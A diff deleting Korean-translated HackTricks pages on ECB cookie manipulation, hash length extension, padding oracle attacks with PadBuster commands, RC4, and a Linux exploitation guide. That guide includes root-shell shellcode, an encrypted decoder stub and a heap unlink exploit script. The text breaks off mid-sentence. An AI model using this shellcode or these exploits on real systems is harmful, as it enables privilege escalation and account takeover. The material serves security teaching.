\xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 - -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 -``` -이것은 **그 쿠키의 사용자 이름과 비밀번호에 "a"라는 글자가 여러 번 포함되어 있기 때문입니다** (예를 들어). **다른** **블록**은 **최소 1개의 다른 문자**가 포함된 블록입니다 (구분 기호 "|" 또는 사용자 이름의 필요한 차이일 수 있습니다). - -이제 공격자는 형식이 ``인지 ``인지 알아내기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호로 여러 사용자 이름을 생성하여 형식과 구분 기호의 길이를 찾을 수 있습니다:** - -| 사용자 이름 길이: | 비밀번호 길이: | 사용자 이름+비밀번호 길이: | 쿠키 길이 (디코딩 후): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | - -# 취약점 악용 - -## 전체 블록 제거 - -쿠키의 형식(` |`)을 알고, 사용자 이름 `admin`을 가장하기 위해 `aaaaaaaaadmin`이라는 새 사용자를 만들고 쿠키를 가져와서 디코딩합니다: -``` -\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -우리는 이전에 `a`만 포함된 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`를 볼 수 있습니다.\ -그런 다음, 첫 번째 8B 블록을 제거하면 사용자 이름 `admin`에 대한 유효한 쿠키를 얻을 수 있습니다: -``` -\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -## Moving blocks - -많은 데이터베이스에서 `WHERE username='admin';`을 검색하는 것과 `WHERE username='admin ';`을 검색하는 것은 동일합니다. _(여분의 공백에 주의하세요)_ - -따라서, 사용자 `admin`을 가장하는 또 다른 방법은 다음과 같습니다: - -- `len() + len(`가 2개의 8B 블록을 생성합니다. -- 그런 다음, 우리가 가장하고자 하는 사용자 이름과 공백을 포함하는 정확한 블록 수를 채우는 비밀번호를 생성합니다: `admin ` - -이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 처음 2개는 사용자 이름 + 구분 기호의 블록이고, 세 번째는 비밀번호(사용자 이름을 가장하는 것)입니다: `username |admin ` - -**그런 다음, 첫 번째 블록을 마지막 블록으로 교체하면 사용자 `admin`을 가장하게 됩니다: `admin |username`** - -## References - -- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md deleted file mode 100644 index 165b7e5b7..000000000 --- a/src/cryptography/hash-length-extension-attack.md +++ /dev/null @@ -1,38 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# 공격 요약 - -서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면: - -- **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음) -- **명확한 텍스트 데이터** -- **알고리즘 (이 공격에 취약함)** -- **패딩이 알려져 있음** -- 일반적으로 기본 패딩이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨 -- 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함 - -그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다. - -## 어떻게? - -기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**하여 해시를 생성하고, 그 다음에 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다. - -그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\ -공격자가 "append"라는 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다: - -- 64개의 "A"로 MD5 생성 -- 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경 -- 문자열 "append" 추가 -- 해시를 완료하면 결과 해시는 **"secret" + "data" + "padding" + "append"**에 대한 유효한 해시가 됩니다. - -## **도구** - -{{#ref}} -https://github.com/iagox86/hash_extender -{{#endref}} - -## 참고문헌 - -이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md deleted file mode 100644 index 7f2220558..000000000 --- a/src/cryptography/padding-oracle-priv.md +++ /dev/null @@ -1,102 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -
- -# CBC - Cipher Block Chaining - -CBC 모드에서는 **이전 암호화 블록이 IV로 사용되어** 다음 블록과 XOR 연산을 수행합니다: - -![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) - -CBC를 복호화할 때는 **반대** **작업**이 수행됩니다: - -![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) - -**암호화** **키**와 **IV**를 사용하는 것이 필요하다는 점에 유의하세요. - -# 메시지 패딩 - -암호화는 **고정** **크기** **블록**으로 수행되기 때문에, **마지막** **블록**의 길이를 완성하기 위해 **패딩**이 일반적으로 필요합니다.\ -보통 **PKCS7**이 사용되며, 이는 블록을 완성하는 데 필요한 **바이트** **수**를 반복하여 패딩을 생성합니다. 예를 들어, 마지막 블록이 3 바이트가 부족하면 패딩은 `\x03\x03\x03`이 됩니다. - -**8바이트 길이의 2 블록**에 대한 더 많은 예를 살펴보겠습니다: - -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | -| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | -| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | - -마지막 예에서 **마지막 블록이 가득 차 있었기 때문에 패딩만으로 생성된 또 다른 블록이 생성되었다는 점에 유의하세요**. - -# 패딩 오라클 - -애플리케이션이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 후 패딩을 제거합니다. 패딩 정리 중에 **잘못된 패딩이 감지 가능한 동작을 유발하면**, **패딩 오라클 취약점**이 발생합니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **느린 응답**일 수 있습니다. - -이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **어떤 평문도 암호화**할 수 있습니다. - -## 어떻게 악용할 것인가 - -이러한 종류의 취약점을 악용하기 위해 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용할 수 있습니다. -``` -sudo apt-get install padbuster -``` -사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -``` -**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다(하지만 다른 인코딩도 사용 가능하니 도움말 메뉴를 확인하세요). - -이 취약점을 **악용하여 새로운 데이터를 암호화할 수도 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"이라면, 이를 "\_user=administrator\_"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. `paduster`를 사용하여 -plaintext** 매개변수를 지정하여 이를 수행할 수도 있습니다: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" -``` -사이트가 취약한 경우 `padbuster`는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다. -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" -``` -## 이론 - -**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 올바른 값이 **1, 2, 3 등의 패딩을 생성하는지** 추측하면서 끝에서 시작으로 바이트를 복호화하기 시작합니다. - -![](<../images/image (629) (1) (1).png>) - -암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\ -**마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\ -마지막으로, 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서: - -- `C15 = D(E15) ^ E7 = I15 ^ E7` -- `C14 = I14 ^ E6` -- `C13 = I13 ^ E5` -- `C12 = I12 ^ E4` -- ... - -이제 **`C15`가 `0x01`이 되도록 `E7`을 수정할 수 있습니다.** 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7` - -따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7` - -이로 인해 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` - -**C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다. - -이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14`가 `0x02`가 되도록 생성하는 `E'14`**를 찾기만 하면 됩니다.\ -그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** - -**이 체인을 따라 전체 암호화된 텍스트를 복호화하세요.** - -## 취약점 탐지 - -계정을 등록하고 이 계정으로 로그인하세요.\ -**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성이 높습니다.** **전송된 쿠키는 매번 고유해야 합니다.** 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다.** - -이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\ -하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에게 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 높습니다. - -## 참고문헌 - -- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - -
- -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md deleted file mode 100644 index 70c6ab745..000000000 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ /dev/null @@ -1,15 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 암호화 함수만으로 해당 RC4로 암호화된 모든 콘텐츠를 복호화할 수 있습니다. - -알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다: - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/emails-vulns.md b/src/emails-vulns.md deleted file mode 100644 index 96202229b..000000000 --- a/src/emails-vulns.md +++ /dev/null @@ -1,9 +0,0 @@ -# 이메일 취약점 - -{{#include ./banners/hacktricks-training.md}} - -## - -## - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md deleted file mode 100644 index 3ddca5dae..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ /dev/null @@ -1,542 +0,0 @@ -# Linux Exploiting (Basic) (SPA) - -{{#include ../../banners/hacktricks-training.md}} - -## **2.SHELLCODE** - -커널 인터럽션 보기: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” - -setreuid(0,0); // \_\_NR_setreuid 70\ -execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ -exit(0); // \_\_NR_exit 1 - -xor eax, eax ; eax 초기화\ -xor ebx, ebx ; ebx = 0, 인자가 없으므로\ -mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; 시스템 호출 실행 - -**nasm -f elf assembly.asm** —> .o 파일 반환\ -**ld assembly.o -o shellcodeout** —> 어셈블리 코드로 구성된 실행 파일 생성, **objdump**로 opcodes 추출 가능\ -**objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes 추출 - -**shellcode가 작동하는지 확인** -``` -char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” - -void main(){ -void (*fp) (void); -fp = (void *)shellcode; -fp(); -} -``` -시스템 호출이 올바르게 수행되는지 확인하려면 이전 프로그램을 컴파일해야 하며 시스템 호출은 **strace ./PROGRAMA_COMPILADO**에 나타나야 합니다. - -쉘코드를 생성할 때 트릭을 사용할 수 있습니다. 첫 번째 명령어는 호출로 점프하는 것입니다. 호출은 원래 코드를 호출하고 EIP를 스택에 넣습니다. 호출 명령어 이후에 필요한 문자열을 넣었으므로, 이 EIP로 문자열을 가리키고 코드를 계속 실행할 수 있습니다. - -예 **트릭 (/bin/sh)**: -``` -jmp 0x1f ; Salto al último call -popl %esi ; Guardamos en ese la dirección al string -movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) -xorl %eax, %eax ; eax = NULL -movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh -movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh -movl $0xb, %eax ; Syscall 11 -movl %esi, %ebx ; arg1=“/bin/sh” -leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} -leal 0xc(%esi), %edx ; arg3 = NULL -int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) -xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax -inc %eax ; Syscall 1 -int $0x80 ; exit(0) -call -0x24 ; Salto a la primera instrución -.string \”/bin/sh\” ; String a usar -``` -**EJ 스택 사용하기(/bin/sh):** -``` -section .text -global _start -_start: -xor eax, eax ;Limpieza -mov al, 0x46 ; Syscall 70 -xor ebx, ebx ; arg1 = 0 -xor ecx, ecx ; arg2 = 0 -int 0x80 ; setreuid(0,0) -xor eax, eax ; eax = 0 -push eax ; “\0” -push dword 0x68732f2f ; “//sh” -push dword 0x6e69622f; “/bin” -mov ebx, esp ; arg1 = “/bin//sh\0” -push eax ; Null -> args[1] -push ebx ; “/bin/sh\0” -> args[0] -mov ecx, esp ; arg2 = args[] -mov al, 0x0b ; Syscall 11 -int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) -``` -**EJ FNSTENV:** -``` -fabs -fnstenv [esp-0x0c] -pop eax ; Guarda el EIP en el que se ejecutó fabs -… -``` -**Egg Huter:** - -작은 코드로 구성되어 있으며, 프로세스와 연결된 메모리 페이지를 순회하여 그곳에 저장된 shellcode를 찾습니다 (shellcode에 설정된 서명을 찾습니다). 코드 주입을 위한 작은 공간만 있는 경우에 유용합니다. - -**Shellcodes polimórficos** - -암호화된 shell로 구성되어 있으며, 이를 해독하고 해당 코드로 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하여, 이것은 **암호화된 시저 예제**입니다: -``` -global _start -_start: -jmp short magic -init: -pop esi -xor ecx, ecx -mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) -desc: -sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) -sub cl, 1 -jnz desc -jmp short sc -magic: -call init -sc: -;Aquí va el shellcode -``` -## **5. 보완 방법** - -**Murat 기법** - -리눅스에서 모든 프로그램은 0xbfffffff에서 시작하여 매핑됩니다. - -리눅스에서 새로운 프로세스의 스택이 어떻게 구성되는지를 보면, 프로그램이 shellcode만 있는 환경에서 실행되도록 exploit를 개발할 수 있습니다. 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(전체_실행파일_이름) - strlen(shellcode) - -이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다. - -이는 execle 함수가 원하는 환경 변수만 포함된 환경을 생성할 수 있게 해주기 때문에 가능합니다. - -## - -### - -### - -### - -### - -### **버퍼 오버플로우를 위한 포맷 문자열** - -**sprintf**는 포맷된 문자열을 **변수로** 이동합니다. 따라서 문자열의 **포맷팅**을 악용하여 **내용이 복사되는 변수에서 버퍼 오버플로우를 유발할 수 있습니다.**\ -예를 들어, 페이로드 `%.44xAAAA`는 **변수에 44B+"AAAA"를 기록**하게 되어 버퍼 오버플로우를 유발할 수 있습니다. - -### **\_\_atexit 구조체** - -> [!CAUTION] -> 현재는 이를 **악용하는 것이 매우 어렵습니다.** - -**`atexit()`**는 **다른 함수들이 매개변수로 전달되는 함수입니다.** 이러한 **함수들은** **`exit()`**를 실행하거나 **main**의 **return** 시에 **실행됩니다.**\ -이러한 **함수들** 중 하나의 **주소를** shellcode를 가리키도록 **수정**할 수 있다면, **프로세스의 제어를 얻을 수 있지만**, 현재는 더 복잡합니다.\ -현재 실행될 **함수들의 주소**는 여러 구조체 뒤에 **숨겨져** 있으며, 최종적으로 가리키는 주소는 함수의 주소가 아니라 **XOR로 암호화**되고 **무작위 키**로 이동됩니다. 따라서 현재 이 공격 벡터는 **x86** 및 **x64_86**에서 **그다지 유용하지 않습니다.**\ -**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 **암호화** 함수를 구현하지 않으며, 입력으로 받은 것과 동일한 값을 반환합니다. 따라서 이러한 아키텍처는 이 벡터로 공격할 수 있습니다. - -### **setjmp() & longjmp()** - -> [!CAUTION] -> 현재는 이를 **악용하는 것이 매우 어렵습니다.** - -**`setjmp()`**는 **컨텍스트**(레지스터)를 **저장**할 수 있게 해줍니다.\ -**`longjmp()`**는 **컨텍스트**를 **복원**할 수 있게 해줍니다.\ -**저장된 레지스터**는: `EBX, ESI, EDI, ESP, EIP, EBP`\ -문제는 EIP와 ESP가 **`PTR_MANGLE`** 함수에 의해 전달되므로, **이 공격에 취약한 아키텍처는 위와 동일합니다.**\ -이들은 오류 복구나 인터럽트에 유용합니다.\ -그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않으므로, **함수 내에서 `call ebx`, `call esi` 또는 `call edi`**가 있을 경우 제어를 장악할 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다. - -**C++의 VTable 및 VPTR** - -각 클래스는 **메서드에 대한 포인터 배열**인 **Vtable**을 가집니다. - -각 **클래스**의 객체는 **VPtr**을 가지며, 이는 해당 클래스의 배열에 대한 **포인터**입니다. VPtr은 각 객체의 헤더의 일부이므로, **VPtr을 덮어쓰는** 데 성공하면 **더미 메서드를 가리키도록 수정**할 수 있어, 함수를 실행하면 shellcode로 이동하게 됩니다. - -## **예방 조치 및 회피** - -### - -**Libsafe 대체** - -다음과 같이 활성화됩니다: LD_PRELOAD=/lib/libsafe.so.2\ -또는\ -“/lib/libsave.so.2” > /etc/ld.so.preload - -안전하지 않은 일부 함수 호출을 안전한 다른 함수로 가로챕니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 경우, 정적 컴파일, 모든 취약 함수가 안전해지는 것은 아니며 LD_PRELOAD는 suid가 있는 바이너리에서는 작동하지 않습니다.) - -**ASCII 방어 주소 공간** - -0x00000000에서 0x00ffffff까지 공유 라이브러리를 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, little endian에서는 더욱 그렇습니다. - -**ret2plt** - -ROP를 수행하여 strcpy@plt(plt의 함수)를 호출하고 GOT의 항목을 가리키며 호출하려는 함수(system())의 첫 번째 바이트를 복사합니다. 그 다음 GOT+1을 가리키며 system()의 두 번째 바이트를 복사합니다... 마지막으로 GOT에 저장된 주소를 호출하여 system()이 됩니다. - -**chroot()를 이용한 샌드박스** - -debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리 아래에 기본 시스템을 설치합니다. - -관리자는 다음과 같이 샌드박스에서 나올 수 있습니다: mkdir foo; chroot foo; cd .. - -**코드 계측** - -Valgrind —> 오류 검색\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 힙 오버플로우: 기본 익스플로잇** - -**할당된 조각** - -prev_size |\ -size | —헤더\ -\*mem | 데이터 - -**자유 조각** - -prev_size |\ -size |\ -\*fd | 다음 조각 포인터\ -\*bk | 이전 조각 포인터 —헤더\ -\*mem | 데이터 - -자유 조각은 이중 연결 리스트(bin)에 있으며, 두 개의 자유 조각이 함께 있을 수 없습니다(결합됨). - -“size”에는 다음을 나타내는 비트가 있습니다: 이전 조각이 사용 중인지, mmap()을 통해 할당되었는지, 조각이 기본 아레나에 속하는지. - -조각을 해제할 때 인접한 조각이 자유로워지면, unlink() 매크로를 통해 결합되고, 더 큰 새 조각이 frontlink()로 전달되어 적절한 bin에 삽입됩니다. - -unlink(){\ -BK = P->bk; —> 새 조각의 BK는 이전에 자유로웠던 조각의 BK입니다.\ -FD = P->fd; —> 새 조각의 FD는 이전에 자유로웠던 조각의 FD입니다.\ -FD->bk = BK; —> 다음 조각의 BK가 새 조각을 가리킵니다.\ -BK->fd = FD; —> 이전 조각의 FD가 새 조각을 가리킵니다.\ -} - -따라서 P->bk를 shellcode의 주소로 수정하고 P->fd를 GOT 또는 DTORS의 주소 - 12로 수정하면: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode - -이렇게 하면 프로그램 종료 시 shellcode가 실행됩니다. - -또한 unlink()의 4번째 문장은 무언가를 기록하며, shellcode는 이를 위해 수정되어야 합니다: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> 이는 shellcode의 8번째 바이트부터 4바이트를 기록하게 하므로, shellcode의 첫 번째 명령은 이를 건너뛰고 나머지 shellcode로 이어지는 jmp이어야 합니다. - -따라서 익스플로잇은 다음과 같이 생성됩니다: - -buffer1에 shellcode를 넣고 jmp로 시작하여 nops 또는 나머지 shellcode로 떨어지게 합니다. - -shellcode 뒤에 prev_size와 다음 조각의 size 필드에 도달할 때까지 패딩을 넣습니다. 이 위치에 0xfffffff0을 넣어 prev_size가 자유로움을 나타내도록 하고, size에 “-4”(0xfffffffc)를 넣습니다 (이렇게 하면 3번째 조각에서 2번째 조각이 실제로 자유로웠는지 확인할 때 수정된 prev_size로 가게 됩니다) -> 이렇게 하면 free()가 조사할 때 3번째 조각의 size로 가지만 실제로는 2번째 - 4로 가서 2번째 조각이 자유로웠다고 생각하게 됩니다. 그리고 그러면 **unlink()**를 호출합니다. - -unlink()를 호출할 때 P->fd는 2번째 조각의 첫 번째 데이터를 사용하므로, 여기에는 덮어쓰려는 주소 - 12(즉, FD->bk에 12를 더한 주소)가 들어갑니다. 그리고 그 주소에 shellcode의 주소를 넣습니다(P->bk 가짜). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes의 패딩** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev_size = pack("\ 조각이 시작되는 주소에 대한 포인터를 반환합니다 (mem-8) - -… - -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] - -… - -\_int_free(ar_ptr, mem); - -} - -\[1]에서 size 필드의 NON_MAIN_ARENA 비트를 확인하며, 이 비트를 변경하여 확인이 true로 반환되도록 하고 heap_for_ptr()를 실행하여 “mem”의 2.5 비트를 0으로 만듭니다 (우리 경우 0x0804a000에서 0x08000000으로 남깁니다) 그리고 0x08000000->ar_ptr에 접근합니다 (struct heap_info처럼). - -이렇게 하면 예를 들어 0x0804a000에서 조각을 제어할 수 있고, **0x081002a0**에서 조각이 해제되면 0x08100000 주소에 접근하여 원하는 것을 쓸 수 있습니다, 예를 들어 **0x0804a000**을 쓸 수 있습니다. 이 두 번째 조각이 해제되면 heap_for_ptr(ptr)->ar_ptr가 0x08100000에 쓴 값을 반환합니다 (이전의 and 연산이 0x081002a0에 적용되어 4바이트의 첫 번째 값을 가져옵니다, ar_ptr). - -이렇게 하면 \_int_free(ar_ptr, mem) 즉, **\_int_free(0x0804a000, 0x081002a0)**\ -**\_int_free(mstate av, Void_t\* mem){**\ -…\ -bck = unsorted_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ -fwd->bk = p; - -..} - -앞서 본 것처럼 av의 값을 제어할 수 있습니다. 이는 우리가 해제할 조각에 쓴 값입니다. - -unsorted_chunks가 정의된 대로, 우리는 다음을 알고 있습니다:\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; - -따라서 av->bins\[2]에 \_\_DTOR_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR_END\_\_에 두 번째 조각의 주소가 기록됩니다. - -즉, 첫 번째 조각의 시작 부분에 \_\_DTOR_END\_\_-12의 주소를 여러 번 넣어야 합니다. 왜냐하면 av->bins\[2]에서 그 값을 가져오기 때문입니다. - -두 번째 조각의 주소가 마지막 5개의 0으로 끝나면 첫 번째 조각의 주소를 써야 하며, heap_for_ptr()가 첫 번째 조각의 시작 부분에 ar_ptr이 있다고 생각하게 해야 합니다. - -두 번째 조각에서 첫 번째 조각을 덮어쓰고 prev_size를 0x0c로, size를 NON_MAIN_ARENA를 활성화할 수 있는 값으로 설정합니다. - -그 다음 두 번째 조각에 nops를 많이 넣고 마지막으로 shellcode를 넣습니다. - -이렇게 하면 \_int_free(TROZO1, TROZO2)를 호출하게 되고, prev_size의 주소가 \_\_DTOR_END\_\_에 기록되어 shellcode로 점프하게 됩니다. - -이 기술을 적용하기 위해서는 몇 가지 추가 요구 사항이 필요하여 페이로드를 조금 더 복잡하게 만듭니다. - -이 기술은 unlink에 대한 거의 동일한 패치가 적용되었기 때문에 더 이상 적용할 수 없습니다. 새로 가리키는 위치가 자신을 가리키고 있는지 비교합니다. - -**Fastbin** - -이는 The house of mind의 변형입니다. - -우리는 다음 코드를 실행할 수 있도록 하는 것이 중요합니다. 이는 \_int_free() 함수의 첫 번째 확인을 통과한 후에 도달합니다. - -fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 - -… - -p->fd = \*fb - -\*fb = p - -이렇게 하면 “fb”에 GOT의 함수 주소가 들어가고, 이 주소에 덮어쓰여질 조각의 주소가 들어갑니다. 이를 위해서는 arena가 dtors 주소 근처에 있어야 합니다. 더 정확히는 av->max_fast가 덮어쓸 주소에 있어야 합니다. - -The House of Mind에서 av의 위치를 제어할 수 있음을 알았습니다. - -따라서 size 필드에 8 + NON_MAIN_ARENA + PREV_INUSE를 넣으면 fastbin_index()는 fastbins\[-1]을 반환하여 av->max_fast를 가리킵니다. - -이 경우 av->max_fast는 덮어쓸 주소가 됩니다 (가리키는 것이 아니라, 그 위치가 덮어쓰여집니다). - -또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다). - -또한 이 가짜 조각은 av->system_mem보다 작아야 합니다. av->system_mem은 1848바이트 더 멀리 있습니다. - -\_DTOR_END\_의 null과 GOT의 적은 주소로 인해, 이러한 섹션의 주소는 덮어쓰기에 적합하지 않으므로, fastbin을 사용하여 스택을 공격하는 